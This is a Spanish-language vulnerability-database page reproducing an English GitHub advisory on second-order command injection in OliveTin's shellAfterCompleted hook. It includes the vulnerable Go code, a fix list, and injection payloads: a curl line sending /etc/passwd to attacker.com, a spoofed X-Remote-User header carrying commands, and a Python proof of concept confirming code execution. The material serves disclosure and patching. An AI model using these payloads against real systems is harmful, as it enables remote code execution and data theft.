llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Go · github.com/OliveTin/OliveTin

GHSA-VC6P-M6VX-6CWQ

OliveTin: Second-Order OS Command Injection via shellAfterCompleted

Parche disponible
Descargar PNG JSON
CVSS
—
medium
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versióncommit e5d29b6
Exposición1 dDesde la divulgación, 18 nov 2026, 4:55 p. m.
Detección12 minDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Monitoreo
Detectada +1
04:55 p. m.
05:00 p. m.
12:50 a. m.
04:55 p. m.
12:53 a. m.
08:52 a. m.
04:51 p. m.
12:50 a. m.
FechaFaseEventoDetalle
Divulgación Publicada GHSA-VC6P-M6VX-6CWQ divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

OliveTin's `shellAfterCompleted` post-execution hook injects unsanitized variables — including arbitrary command output (`output`), the authenticated username (`ot_username`), and the exit code (`exitCode`) — directly into a shell command template processed by `sh -c`. Unlike the main action's argument handling, no `checkShellArgumentSafety` validation is applied to these variables. An attacker who can influence the output of a command (e.g., via user-supplied arguments that reflect in stdout, or through trusted-header username spoofing) can inject arbitrary OS commands into the post-execution shell.

This is a distinct finding from CVE-2026-27626 (OS command injection via `password` type in webhooks). That CVE addressed argument types bypassing shell safety checks in the primary execution step. This vulnerability exists in the post-execution step (`stepExecAfter`), which has zero safety checks on any of its template variables.

Affected Versions

  • All versions containing `shellAfterCompleted` functionality (current codebase through latest)

Details

Vulnerable Code Path

In `service/internal/executor/executor.go`, the `stepExecAfter` function handles post-execution commands:

func stepExecAfter(req *ExecutionRequest) bool {
    if req.Binding.Action.ShellAfterCompleted == "" {
        return true
    }

    // These variables are injected WITHOUT any type checking or sanitization
    args := map[string]string{
        "output":                 req.logEntry.Output,           // Arbitrary command stdout/stderr
        "exitCode":               fmt.Sprintf("%v", req.logEntry.ExitCode),
        "ot_executionTrackingId": req.TrackingID,
        "ot_username":            req.AuthenticatedUser.Username, // User-controlled via trusted headers
    }

    // Template rendered with unsanitized args
    finalParsedCommand, err := tpl.ParseTemplateWithActionContext(
        req.Binding.Action.ShellAfterCompleted,
        req.Binding.Entity,
        args,
    )

    // Directly passed to sh -c — NO safety check
    cmd := wrapCommandInShell(ctx, finalParsedCommand)
    // ...
}

The `wrapCommandInShell` function (in `executor_unix.go`) executes:

func wrapCommandInShell(ctx *ExecutionContext, finalParsedCommand string) *exec.Cmd {
    return exec.CommandContext(ctx, "sh", "-c", finalParsedCommand)
}
Why This Bypasses Existing Protections

The main action's shell commands go through `checkShellArgumentSafety` (called from `handleShellBranch` at line 693 of executor.go), which blocks dangerous argument types like `password`, `url`, `email`, `raw_string_multiline`, and `very_dangerous_raw_string` from shell mode.

`stepExecAfter` calls none of these checks. The `output` variable is:
- Not a declared argument with a type — it's internally created
- Not validated against any regex or type system
- Not passed through `checkShellArgumentSafety`
- Directly interpolated into a shell command template

A `grep` for `checkShellArgumentSafety` in the codebase confirms it is only invoked at one location:

executor.go:693: if err := checkShellArgumentSafety(req); err != nil {

This is inside `handleShellBranch` (the primary action execution), not in `stepExecAfter`.

Injection Vectors
Vector 1: Output Reflection

If a primary action echoes user-controlled input:

actions:
  - title: Lookup User
    shell: "echo 'User: {{ .Arguments.username }}'"
    shellAfterCompleted: "audit-log '{{ .Arguments.output }}'"
    arguments:
      - name: username
        type: ascii_identifier

While `ascii_identifier` constrains the direct argument, the command output itself is the injection vector. If the action processes external data (files, APIs, databases) and that data contains shell metacharacters, the output flows unsanitized into `shellAfterCompleted`.

Vector 2: Exec Mode Output Injection

Actions using `exec` mode (array form) safely handle arguments in the primary command but the output still flows to `shellAfterCompleted` through a shell:

actions:
  - title: Read External Data
    exec:
      - cat
      - /shared/data/{{ .Arguments.filename }}
    shellAfterCompleted: "process-result '{{ .Arguments.output }}'"
    arguments:
      - name: filename
        type: ascii_identifier

If `/shared/data/report` contains text like:

'; curl http://attacker.com/exfil?data=$(cat /etc/passwd) #

The `shellAfterCompleted` becomes:

process-result ''; curl http://attacker.com/exfil?data=$(cat /etc/passwd) #'

This executes arbitrary commands as the OliveTin process user.

Vector 3: Username Injection via Trusted Headers

When trusted header authentication is used (see Finding 04), the `ot_username` variable comes directly from an HTTP header with no sanitization:

actions:
  - title: Any Action
    shell: "echo ok"
    shellAfterCompleted: "logger 'Action completed by {{ .Arguments.ot_username }}'"

An attacker sets:

X-Remote-User: '; id > /tmp/pwned #

The `shellAfterCompleted` becomes:

logger 'Action completed by '; id > /tmp/pwned #'

This chains Findings 04 and 05: trusted header spoofing enables username-based injection into post-execution commands.

PoC

Prerequisites
  • OliveTin instance with an action configured with `shellAfterCompleted`
  • The `shellAfterCompleted` template references `{{ .Arguments.output }}` or `{{ .Arguments.ot_username }}`
Config
listenAddressSingleHTTPFrontend: 0.0.0.0:1337
logLevel: "DEBUG"
checkForUpdates: false

actions:
  - title: Process File
    id: process-file
    exec:
      - cat
      - "/tmp/olivetin-data/{{ .Arguments.filename }}"
    shellAfterCompleted: "echo '{{ .Arguments.output }}' >> /tmp/olivetin-audit.log"
    arguments:
      - name: filename
        type: ascii_identifier
Step 1: Create a malicious data file
# On the server, create a file with shell injection payload
mkdir -p /tmp/olivetin-data
echo "normal_data'; touch /tmp/PWNED; echo '" > /tmp/olivetin-data/report
Step 2: Execute the action normally
curl -s -X POST http://127.0.0.1:1337/api/StartActionAndWait \
  -H 'Content-Type: application/json' \
  -d '{"bindingId":"process-file","arguments":[{"name":"filename","value":"report"}]}'
Step 3: Verify injection
ls -la /tmp/PWNED
# If the file exists, the injection was successful

Explanation: The `cat` command (exec mode) safely reads the file. The output `normal_data'; touch /tmp/PWNED; echo '` is captured. Then `shellAfterCompleted` renders:

echo 'normal_data'; touch /tmp/PWNED; echo '' >> /tmp/olivetin-audit.log

This executes `touch /tmp/PWNED` as a second command.

Step 4: Username injection (with trusted headers)
# Add to config
authHttpHeaderUsername: "X-Remote-User"
curl -s -X POST http://127.0.0.1:1337/api/StartActionAndWait \
  -H 'Content-Type: application/json' \
  -H "X-Remote-User: test'; touch /tmp/PWNED2; echo '" \
  -d '{"bindingId":"some-action","arguments":[]}'

If `shellAfterCompleted` uses `{{ .Arguments.ot_username }}`, the injection executes.

Python PoC
#!/usr/bin/env python3
"""PoC: Second-Order Command Injection via shellAfterCompleted output variable.

Distinct from CVE-2026-27626 (password type injection in primary execution).
This exploits the post-execution step which has zero argument safety checks.
"""

import requests
import time
import os

TARGET = "http://127.0.0.1:1337"
BINDING_ID = "process-file"

def setup_payload():
    """Create a data file containing shell injection payload."""
    os.makedirs("/tmp/olivetin-data", exist_ok=True)
    with open("/tmp/olivetin-data/exploit", "w") as f:
        f.write("data'; id > /tmp/rce-proof; echo '")
    print("[+] Created malicious data file")

def trigger_action():
    """Execute the action that reads the malicious file."""
    resp = requests.post(
        f"{TARGET}/api/StartActionAndWait",
        json={
            "bindingId": BINDING_ID,
            "arguments": [{"name": "filename", "value": "exploit"}]
        },
        headers={"Content-Type": "application/json"}
    )
    print(f"[+] Action response: {resp.status_code}")
    return resp.json()

def verify_rce():
    """Check if the injected command executed."""
    time.sleep(2)
    if os.path.exists("/tmp/rce-proof"):
        with open("/tmp/rce-proof") as f:
            print(f"[!] RCE CONFIRMED: {f.read().strip()}")
        return True
    else:
        print("[-] /tmp/rce-proof not found")
        return False

if __name__ == "__main__":
    setup_payload()
    result = trigger_action()
    print(f"[*] Action output: {result}")
    verify_rce()

Impact

  • Remote Code Execution: Arbitrary commands execute as the OliveTin process user
  • Chained with Finding 04: Trusted header spoofing enables injection via `ot_username`
  • Bypass of CVE-2026-27626 fix: The fix for that CVE only addressed `checkShellArgumentSafety` in the primary execution step; the post-execution step was not hardened
  • Exec mode bypass: Actions using the safe `exec` mode (array form) for the primary command can still be exploited through their output flowing to the shell-based `shellAfterCompleted`

Remediation

  1. Apply `checkShellArgumentSafety` (or equivalent) to `stepExecAfter` variables
  2. Shell-escape the `output`, `ot_username`, and `exitCode` values before template substitution (e.g., using `shellescape.Quote()`)
  3. Consider adding an exec-mode variant for `shellAfterCompleted` to avoid shell interpretation entirely
  4. Sanitize `ot_username` to reject shell metacharacters regardless of the auth provider

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida
github.com/OliveTin/OliveTin< 0.0.0-20260728155752-e5d29b68da66
0.0.0-20260728155752-e5d29b68da66
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Gogithub.com/OliveTin/OliveTin
Corregida commit e5d29b6 — —
Versiones corregidascommit e5d29b6
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-75506
Otrahttps://github.com/OliveTin/OliveTin/security/advisories/GHSA-vc6p-m6vx-6cwq
Otrahttps://github.com/OliveTin/OliveTin/pull/1070
Otrahttps://github.com/OliveTin/OliveTin/pull/1088
Otrahttps://github.com/OliveTin/OliveTin/commit/4ef86abee7aac4e4ec4a3200c7ca491ca3501065
Otrahttps://github.com/OliveTin/OliveTin/commit/e5d29b68da66fd7f99072d6afd336dee2c28876c
Otrahttps://github.com/OliveTin/OliveTin
Otrahttps://github.com/OliveTin/OliveTin/releases/tag/3000.17.0
Otrahttps://github.com/OliveTin/OliveTin/releases/tag/3000.18.1

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.